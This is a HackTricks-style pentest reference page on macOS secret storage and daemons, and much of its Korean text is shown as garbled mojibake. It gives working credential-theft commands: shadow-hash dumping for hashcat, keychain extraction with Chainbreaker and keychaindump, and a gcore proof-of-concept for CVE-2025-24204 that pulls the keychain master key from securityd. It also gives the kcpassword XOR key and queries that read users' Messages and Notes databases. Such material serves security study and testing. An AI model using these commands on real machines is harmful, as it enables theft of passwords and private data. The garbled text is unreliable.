macOS ๋ฏผ๊ฐํ ์์น ๋ฐ ํฅ๋ฏธ๋ก์ด ๋ฐ๋ชฌ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๋น๋ฐ๋ฒํธ
Shadow Passwords
Shadow password์ ์ฌ์ฉ์์ ๊ตฌ์ฑ๊ณผ ํจ๊ป plist์ ์ ์ฅ๋์ด ์์ผ๋ฉฐ, ์์น๋ **/var/db/dslocal/nodes/Default/users/**์ ์๋ค.
๋ค์ ํ ์ค ๋ช
๋ น์ด๋ ์ฌ์ฉ์์ ๋ํ ๋ชจ๋ ์ ๋ณด(ํด์ ์ ๋ณด ํฌํจ)๋ฅผ ๋คํํ๋ ๋ฐ ์ฌ์ฉํ ์ ์๋ค:
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done
์ด๋ฐ ์คํฌ๋ฆฝํธ ๋๋ ์ด ์คํฌ๋ฆฝํธ๋ ํด์๋ฅผ hashcat ํฌ๋งท์ผ๋ก ๋ณํํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค.
๋์์ผ๋ก, ์๋น์ค ๊ณ์ ์ด ์๋ ๋ชจ๋ ๊ณ์ ์ creds๋ฅผ hashcat ํฌ๋งท -m 7100 (macOS PBKDF2-SHA512)์ผ๋ก ๋คํํ๋ ์๋ผ์ด๋:
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
Another way to obtain the ShadowHashData of a user is by using dscl: sudo dscl . -read /Users/`whoami` ShadowHashData
/etc/master.passwd
์ด ํ์ผ์ ์์คํ ์ด ๋จ์ผ ์ฌ์ฉ์ ๋ชจ๋๋ก ์คํ๋ ๋์๋ง ์ฌ์ฉ๋ฉ๋๋ค(๋ฐ๋ผ์ ์์ฃผ ์ฌ์ฉ๋์ง๋ ์์ต๋๋ค).
ํค์ฒด์ธ ๋คํ
security ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ฌ์ฉํด ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณตํธํ๋ ์ํ๋ก ๋คํํ ๋, ์ฌ๋ฌ ํ๋กฌํํธ๊ฐ ์ฌ์ฉ์์๊ฒ ์ด ์์ ์ ํ์ฉํ ์ง๋ฅผ ๋ฌป์ต๋๋ค.
#security
security dump-trust-settings [-s] [-d] #List certificates
security list-keychains #List keychain dbs
security list-smartcards #List smartcards
security dump-keychain | grep -A 5 "keychain" | grep -v "version" #List keychains entries
security dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root)
Keychaindump
Caution
ํด๋น ๋๊ธ juuso/keychaindump#10 (comment)์ ๋ฐ๋ฅด๋ฉด ์ด ๋๊ตฌ๋ค์ Big Sur์์ ๋ ์ด์ ์๋ํ์ง ์๋ ๊ฒ์ผ๋ก ๋ณด์ ๋๋ค.
Keychaindump ๊ฐ์
macOS ํค์ฒด์ธ์์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ถ์ถํ๊ธฐ ์ํด keychaindump๋ผ๋ ๋๊ตฌ๊ฐ ๊ฐ๋ฐ๋์์ผ๋, discussion์์ ์ง์ ํ ๊ฒ์ฒ๋ผ Big Sur ๊ฐ์ ์ต์ macOS ๋ฒ์ ์์๋ ์ ํ์ด ์์ต๋๋ค. keychaindump๋ฅผ ์ฌ์ฉํ๋ ค๋ฉด ๊ณต๊ฒฉ์๊ฐ ์ ๊ทผ ๊ถํ์ ์ป๊ณ root๋ก ๊ถํ ์์น์ ํด์ผ ํฉ๋๋ค. ์ด ๋๊ตฌ๋ ์ฌ์ฉ ํธ์๋ฅผ ์ํด ๋ก๊ทธ์ธ ์ ํค์ฒด์ธ์ด ๊ธฐ๋ณธ์ ์ผ๋ก ์ ๊ธ ํด์ ๋๋ค๋ ์ฌ์ค์ ์ ์ฉํ์ฌ, ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ฌ์ฉ์์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ฐ๋ณตํด์ ์๊ตฌ๋ฐ์ง ์๊ณ ๋ ํค์ฒด์ธ์ ์ ๊ทผํ ์ ์๊ฒ ๋ฉ๋๋ค. ๊ทธ๋ฌ๋ ์ฌ์ฉ์๊ฐ ๋งค๋ฒ ์ฌ์ฉ ํ ํค์ฒด์ธ์ ์ ๊ทธ๋๋ก ์ค์ ํด ๋๋ฉด keychaindump๋ ํจ๊ณผ๊ฐ ์์ต๋๋ค.
Keychaindump๋ Apple์ด ๊ถํ ๋ถ์ฌ ๋ฐ ์ํธํ ์์
์ ์ํ ๋ฐ๋ชฌ์ด๋ผ๊ณ ์ค๋ช
ํ๋ ํน์ ํ๋ก์ธ์ค์ธ securityd๋ฅผ ํ์ ์ผ๋ก ์๋ํฉ๋๋ค. ์ถ์ถ ๊ณผ์ ์ ์ฌ์ฉ์์ ๋ก๊ทธ์ธ ๋น๋ฐ๋ฒํธ์์ ์ ๋๋ Master Key๋ฅผ ์๋ณํ๋ ๊ฒ์ ํฌํจํฉ๋๋ค. ์ด ํค๋ ํค์ฒด์ธ ํ์ผ์ ์ฝ๋ ๋ฐ ํ์์ ์
๋๋ค. Master Key๋ฅผ ์ฐพ๊ธฐ ์ํด keychaindump๋ vmmap ๋ช
๋ น์ ์ฌ์ฉํ์ฌ securityd์ ๋ฉ๋ชจ๋ฆฌ ํ์ ์ค์บํ๊ณ , MALLOC_TINY๋ก ํ์๋ ์์ญ ๋ด์์ ์ ์ฌ์ ์ธ ํค๋ฅผ ์ฐพ์ต๋๋ค. ๋ค์ ๋ช
๋ น์ ์ด๋ฌํ ๋ฉ๋ชจ๋ฆฌ ์์น๋ฅผ ๊ฒ์ฌํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค:
sudo vmmap <securityd PID> | grep MALLOC_TINY
์ ์ฌ์ ์ธ ๋ง์คํฐ ํค๋ฅผ ์๋ณํ ํ, keychaindump๋ ๋ง์คํฐ ํค ํ๋ณด๋ฅผ ๊ฐ๋ฆฌํค๋ ํน์ ํจํด(0x0000000000000018)์ ์ฐพ๊ธฐ ์ํด ํ์ ๊ฒ์ํฉ๋๋ค. ์ด ํค๋ฅผ ํ์ฉํ๋ ค๋ฉด deobfuscation์ ํฌํจํ ์ถ๊ฐ ๋จ๊ณ๊ฐ ํ์ํ๋ฉฐ, ๊ทธ ์ธ๋ถ ์ฌํญ์ keychaindump์ ์์ค ์ฝ๋์ ์ค๋ช
๋์ด ์์ต๋๋ค. ์ด ์์ญ์ ์ง์คํ๋ ๋ถ์๊ฐ๋ ํค์ฒด์ธ์ ๋ณตํธํํ๋ ๋ฐ ํ์ํ ์ค์ํ ๋ฐ์ดํฐ๊ฐ securityd ํ๋ก์ธ์ค์ ๋ฉ๋ชจ๋ฆฌ ์์ ์ ์ฅ๋์ด ์๋ค๋ ์ ์ ์ ์ํด์ผ ํฉ๋๋ค. keychaindump๋ฅผ ์คํํ๋ ์์ ๋ช
๋ น์:
sudo ./keychaindump
chainbreaker
Chainbreaker can be used to extract the following types of information from an OSX keychain in a forensically sound manner:
- ํด์๋ Keychain password โ hashcat ๋๋ John the Ripper๋ก ํฌ๋ํนํ๊ธฐ์ ์ ํฉ
- Internet Passwords
- Generic Passwords
- Private Keys
- Public Keys
- X509 Certificates
- Secure Notes
- Appleshare Passwords
Keychain ์ ๊ธ ํด์ ์ํธ, volafox ๋๋ volatility๋ก ์ป์ ๋ง์คํฐ ํค, ๋๋ SystemKey์ ๊ฐ์ ์ธ๋ฝ ํ์ผ์ด ์ฃผ์ด์ง๋ฉด Chainbreaker๋ ํ๋ฌธ ๋น๋ฐ๋ฒํธ๋ ์ ๊ณตํฉ๋๋ค.
์ด๋ฌํ Keychain ์ ๊ธ ํด์ ๋ฐฉ๋ฒ ์ค ํ๋๊ฐ ์์ผ๋ฉด Chainbreaker๋ ๊ทธ ์ธ ์ฌ์ฉ ๊ฐ๋ฅํ ๋ชจ๋ ์ ๋ณด๋ฅผ ํ์ํฉ๋๋ค.
Keychain ํค ๋คํ
#Dump all keys of the keychain (without the passwords)
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain
SystemKey๋ก ํค์ฒด์ธ ํค(๋น๋ฐ๋ฒํธ ํฌํจ) ๋คํํ๊ธฐ
# First, get the keychain decryption key
# To get this decryption key you need to be root and SIP must be disabled
hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo
## Use the previous key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
Dump keychain keys (๋น๋ฐ๋ฒํธ ํฌํจ) cracking the hash
# Get the keychain hash
python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain
# Crack it with hashcat
hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
# Use the key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
keychain ํค(๋น๋ฐ๋ฒํธ ํฌํจ)๋ฅผ memory dump๋ก ๋คํํ๊ธฐ
Follow these steps์ ๋ฐ๋ผ memory dump๋ฅผ ์ํํ์ธ์
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
# Unformtunately volafox isn't working with the latest versions of MacOS
python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump
#Try to extract the passwords using the extracted keychain passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
์ฌ์ฉ์ password๋ฅผ ์ฌ์ฉํ์ฌ keychain ํค (passwords ํฌํจ) ๋คํ
์ฌ์ฉ์์ password๋ฅผ ์๊ณ ์๋ค๋ฉด, ์ด๋ฅผ ์ฌ์ฉํด ํด๋น ์ฌ์ฉ์์๊ฒ ์ํ keychains๋ฅผ dump ๋ฐ decryptํ ์ ์์ต๋๋ค.
#Prompt to ask for the password
python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db
Keychain master key via gcore entitlement (CVE-2025-24204)
macOS 15.0 (Sequoia)์ /usr/bin/gcore๋ฅผ com.apple.system-task-ports.read entitlement์ ํจ๊ป ์ ๊ณตํ๊ธฐ ๋๋ฌธ์, ๋ก์ปฌ admin(๋๋ ์
์ฑ ์๋ช
๋ ์ฑ)์ด SIP/TCC๊ฐ ์ ์ฉ๋ ์ํ์์๋ ์์์ ํ๋ก์ธ์ค ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋คํํ ์ ์์์ต๋๋ค. securityd๋ฅผ ๋คํํ๋ฉด Keychain master key๊ฐ ํ๋ฌธ์ผ๋ก leaks๋์ด ์ฌ์ฉ์ ๋น๋ฐ๋ฒํธ ์์ด login.keychain-db๋ฅผ ๋ณตํธํํ ์ ์์ต๋๋ค.
Quick repro on vulnerable builds (15.0โ15.2):
sudo pgrep securityd # usually a single PID
sudo gcore -o /tmp/securityd $(pgrep securityd) # produces /tmp/securityd.<pid>
python3 - <<'PY'
import mmap,re,sys
with open('/tmp/securityd.'+sys.argv[1],'rb') as f:
mm=mmap.mmap(f.fileno(),0,access=mmap.ACCESS_READ)
for m in re.finditer(b'\x00\x00\x00\x00\x00\x00\x00\x18.{96}',mm):
c=m.group(0)
if b'SALTED-SHA512-PBKDF2' in c: print(c.hex()); break
PY $(pgrep securityd)
Feed the extracted hex key to Chainbreaker (--key <hex>) to decrypt the login keychain. Apple removed the entitlement in macOS 15.3+, so this only works on unpatched Sequoia builds or systems that kept the vulnerable binary.
kcpassword
The kcpassword file is a file that holds the userโs login password, but only if the system owner has enabled automatic login. Therefore, the user will be automatically logged in without being asked for a password (which isnโt very secure).
The password is stored in the file /etc/kcpassword xored with the key 0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F. If the users password is longer than the key, the key will be reused.
This makes the password pretty easy to recover, for example using scripts like this one.
Interesting Information in Databases
Messages
sqlite3 $HOME/Library/Messages/chat.db .tables
sqlite3 $HOME/Library/Messages/chat.db 'select * from message'
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment'
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages'
sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
์๋ฆผ
์๋ฆผ ๋ฐ์ดํฐ๋ $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/์์ ์ฐพ์ ์ ์์ต๋๋ค.
๋๋ถ๋ถ์ ํฅ๋ฏธ๋ก์ด ์ ๋ณด๋ blob์ ์์ต๋๋ค. ๋ฐ๋ผ์ ํด๋น ๋ด์ฉ์ ์ถ์ถํ๊ณ ๋ณํํ์ฌ ์ฌ๋์ด ์ฝ์ ์ ์๋ ํํ๋ก ๋ง๋ค๊ฑฐ๋ **strings**๋ฅผ ์ฌ์ฉํด์ผ ํฉ๋๋ค. ์ ๊ทผํ๋ ค๋ฉด ๋ค์์ ์ํํ ์ ์์ต๋๋ค:
cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack
์ต๊ทผ ํ๋ผ์ด๋ฒ์ ๋ฌธ์ (NotificationCenter DB)
- In macOS 14.7โ15.1 Apple stored banner content in the
db2/dbSQLite without proper redaction. CVEs CVE-2024-44292/44293/40838/54504 allowed any local user to read other usersโ notification text just by opening the DB (no TCC prompt). Fixed in 15.2 by moving/locking the DB; on older systems the above path still leaks recent notifications and attachments. - ํด๋น ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ ์ํฅ์ ๋ฐ๋ ๋น๋์์๋ง world-readableํ๋ฏ๋ก, ๋ ๊ฑฐ์ ์๋ํฌ์ธํธ๋ฅผ ์กฐ์ฌํ ๋์๋ ์ํฐํฉํธ๋ฅผ ๋ณด์กดํ๊ธฐ ์ํด ์ ๋ฐ์ดํธํ๊ธฐ ์ ์ ๋ณต์ฌํ์ธ์.
์ฐธ๊ณ
์ฌ์ฉ์์ ๋
ธํธ๋ ~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite์์ ์ฐพ์ ์ ์์ต๋๋ค
sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tables
#To dump it in a readable format:
for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select Z_PK from ZICNOTEDATA;"); do sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select writefile('body1.gz.z', ZDATA) from ZICNOTEDATA where Z_PK = '$i';"; zcat body1.gz.Z ; done
Preferences
macOS ์ฑ์ ํ๊ฒฝ์ค์ ์ **$HOME/Library/Preferences**์ ์์นํ๋ฉฐ, iOS์์๋ /var/mobile/Containers/Data/Application/<UUID>/Library/Preferences์ ์์ต๋๋ค.
macOS์์๋ CLI ๋๊ตฌ **defaults**๋ฅผ ์ฌ์ฉํ์ฌ ํ๊ฒฝ์ค์ ํ์ผ์ ์์ ํ ์ ์์ต๋๋ค.
**/usr/sbin/cfprefsd**๋ XPC ์๋น์ค com.apple.cfprefsd.daemon ๋ฐ com.apple.cfprefsd.agent๋ฅผ ๋ฑ๋กํ๋ฉฐ, ํ๊ฒฝ์ค์ ์์ ๊ณผ ๊ฐ์ ์์
์ ์ํํ๋๋ก ํธ์ถ๋ ์ ์์ต๋๋ค.
OpenDirectory permissions.plist
/System/Library/OpenDirectory/permissions.plist ํ์ผ์ ๋
ธ๋ ์์ฑ์ ์ ์ฉ๋๋ ๊ถํ์ ํฌํจํ๊ณ ์์ผ๋ฉฐ SIP๋ก ๋ณดํธ๋ฉ๋๋ค.
์ด ํ์ผ์ UUID(UID๊ฐ ์๋๋ผ)๋ก ํน์ ์ฌ์ฉ์์๊ฒ ๊ถํ์ ๋ถ์ฌํ์ฌ ShadowHashData, HeimdalSRPKey ๋ฐ KerberosKeys ๋ฑ๊ณผ ๊ฐ์ ํน์ ๋ฏผ๊ฐํ ์ ๋ณด์ ์ ๊ทผํ ์ ์๋๋ก ํฉ๋๋ค:
[...]
<key>dsRecTypeStandard:Computers</key>
<dict>
<key>dsAttrTypeNative:ShadowHashData</key>
<array>
<dict>
<!-- allow wheel even though it's implicit -->
<key>uuid</key>
<string>ABCDEFAB-CDEF-ABCD-EFAB-CDEF00000000</string>
<key>permissions</key>
<array>
<string>readattr</string>
<string>writeattr</string>
</array>
</dict>
</array>
<key>dsAttrTypeNative:KerberosKeys</key>
<array>
<dict>
<!-- allow wheel even though it's implicit -->
<key>uuid</key>
<string>ABCDEFAB-CDEF-ABCD-EFAB-CDEF00000000</string>
<key>permissions</key>
<array>
<string>readattr</string>
<string>writeattr</string>
</array>
</dict>
</array>
[...]
์์คํ ์๋ฆผ
Darwin ์๋ฆผ
์๋ฆผ์ ์ฃผ์ ๋ฐ๋ชฌ์ /usr/sbin/notifyd ์
๋๋ค. ์๋ฆผ์ ์์ ํ๋ ค๋ฉด ํด๋ผ์ด์ธํธ๊ฐ com.apple.system.notification_center Mach ํฌํธ๋ฅผ ํตํด ๋ฑ๋กํด์ผ ํฉ๋๋ค(sudo lsmp -p <pid notifyd>๋ก ํ์ธ). ๋ฐ๋ชฌ์ /etc/notify.conf ํ์ผ๋ก ๊ตฌ์ฑํ ์ ์์ต๋๋ค.
์๋ฆผ์ ์ฌ์ฉ๋๋ ์ด๋ฆ์ ๊ณ ์ ํ ์ญ๋ฐฉํฅ DNS ํ๊ธฐ๋ฒ์ด๋ฉฐ, ํด๋น ์ด๋ฆ์ผ๋ก ์๋ฆผ์ด ์ ์ก๋๋ฉด ์ด๋ฅผ ์ฒ๋ฆฌํ ์ ์๋ค๊ณ ํ์ํ ํด๋ผ์ด์ธํธ๊ฐ ์๋ฆผ์ ์์ ํฉ๋๋ค.
ํ์ฌ ์ํ๋ฅผ ๋คํ(๋ชจ๋ ์ด๋ฆ ํ์ธ ํฌํจ)ํ๋ ค๋ฉด notifyd ํ๋ก์ธ์ค์ ์ ํธ SIGUSR2๋ฅผ ๋ณด๋ด๊ณ ์์ฑ๋ ํ์ผ์ ์ฝ์ผ๋ฉด ๋ฉ๋๋ค: /var/run/notifyd_<pid>.status:
ps -ef | grep -i notifyd
0 376 1 0 15Mar24 ?? 27:40.97 /usr/sbin/notifyd
sudo kill -USR2 376
cat /var/run/notifyd_376.status
[...]
pid: 94379 memory 5 plain 0 port 0 file 0 signal 0 event 0 common 10
memory: com.apple.system.timezone
common: com.apple.analyticsd.running
common: com.apple.CFPreferences._domainsChangedExternally
common: com.apple.security.octagon.joined-with-bottle
[...]
Distributed Notification Center
Distributed Notification Center์ ์ฃผ์ ๋ฐ์ด๋๋ฆฌ๋ **/usr/sbin/distnoted**์ด๋ฉฐ, ์๋ฆผ์ ์ ์กํ๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์
๋๋ค. ์ผ๋ถ XPC ์๋น์ค๋ฅผ ๋
ธ์ถํ๊ณ ํด๋ผ์ด์ธํธ๋ฅผ ๊ฒ์ฆํ๋ ค ์๋ํ๋ ๋ช ๊ฐ์ง ๊ฒ์ฌ๋ฅผ ์ํํฉ๋๋ค.
Apple Push Notifications (APN)
์ด ๊ฒฝ์ฐ ์ ํ๋ฆฌ์ผ์ด์
์ ํ ํฝ์ ๋ฑ๋กํ ์ ์์ต๋๋ค. ํด๋ผ์ด์ธํธ๋ **apsd**๋ฅผ ํตํด Apple์ ์๋ฒ์ ์ ์ํ์ฌ ํ ํฐ์ ์์ฑํฉ๋๋ค.
๊ทธ๋ฐ ๋ค์ providers๋ ํ ํฐ์ ์์ฑํ์ฌ Apple์ ์๋ฒ์ ์ฐ๊ฒฐํด ํด๋ผ์ด์ธํธ๋ก ๋ฉ์์ง๋ฅผ ๋ณด๋ผ ์ ์์ต๋๋ค. ์ด ๋ฉ์์ง๋ค์ ๋ก์ปฌ์์ **apsd**๊ฐ ์์ ํ์ฌ ํด๋น ์๋ฆผ์ ๊ธฐ๋ค๋ฆฌ๋ ์ ํ๋ฆฌ์ผ์ด์
์ผ๋ก ์ ๋ฌํฉ๋๋ค.
ํ๊ฒฝ์ค์ ํ์ผ์ /Library/Preferences/com.apple.apsd.plist์ ์์นํฉ๋๋ค.
macOS์์๋ /Library/Application\ Support/ApplePushService/aps.db์, iOS์์๋ /var/mobile/Library/ApplePushService์ ๋ฉ์์ง ๋ก์ปฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ์์ต๋๋ค. ๋ฐ์ดํฐ๋ฒ ์ด์ค์๋ 3๊ฐ์ ํ
์ด๋ธ์ด ์์ต๋๋ค: incoming_messages, outgoing_messages ๋ฐ channel.
sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db
๋ค์๊ณผ ๊ฐ์ด daemon ๋ฐ connections์ ๋ํ ์ ๋ณด๋ฅผ ์ป์ ์๋ ์์ต๋๋ค:
/System/Library/PrivateFrameworks/ApplePushService.framework/apsctl status
์ฌ์ฉ์ ์๋ฆผ
These are notifications that the user should see in the screen:
CFUserNotification: ์ด API๋ ํ๋ฉด์ ๋ฉ์์ง ํ์ ์ ํ์ํ๋ ๋ฐฉ๋ฒ์ ์ ๊ณตํฉ๋๋ค.- The Bulletin Board: iOS์์ ์ฌ๋ผ์ง๋ ๋ฐฐ๋๋ฅผ ํ์ํ๋ฉฐ Notification Center์ ์ ์ฅ๋ฉ๋๋ค.
NSUserNotificationCenter: MacOS์์ iOS์ Bulletin Board ์ญํ ์ ํฉ๋๋ค. ์๋ฆผ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db์ ์์นํฉ๋๋ค.
References
- HelpNetSecurity โ macOS gcore entitlement allowed Keychain master key extraction (CVE-2025-24204)
- Rapid7 โ Notification Center SQLite disclosure (CVE-2024-44292 et al.)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


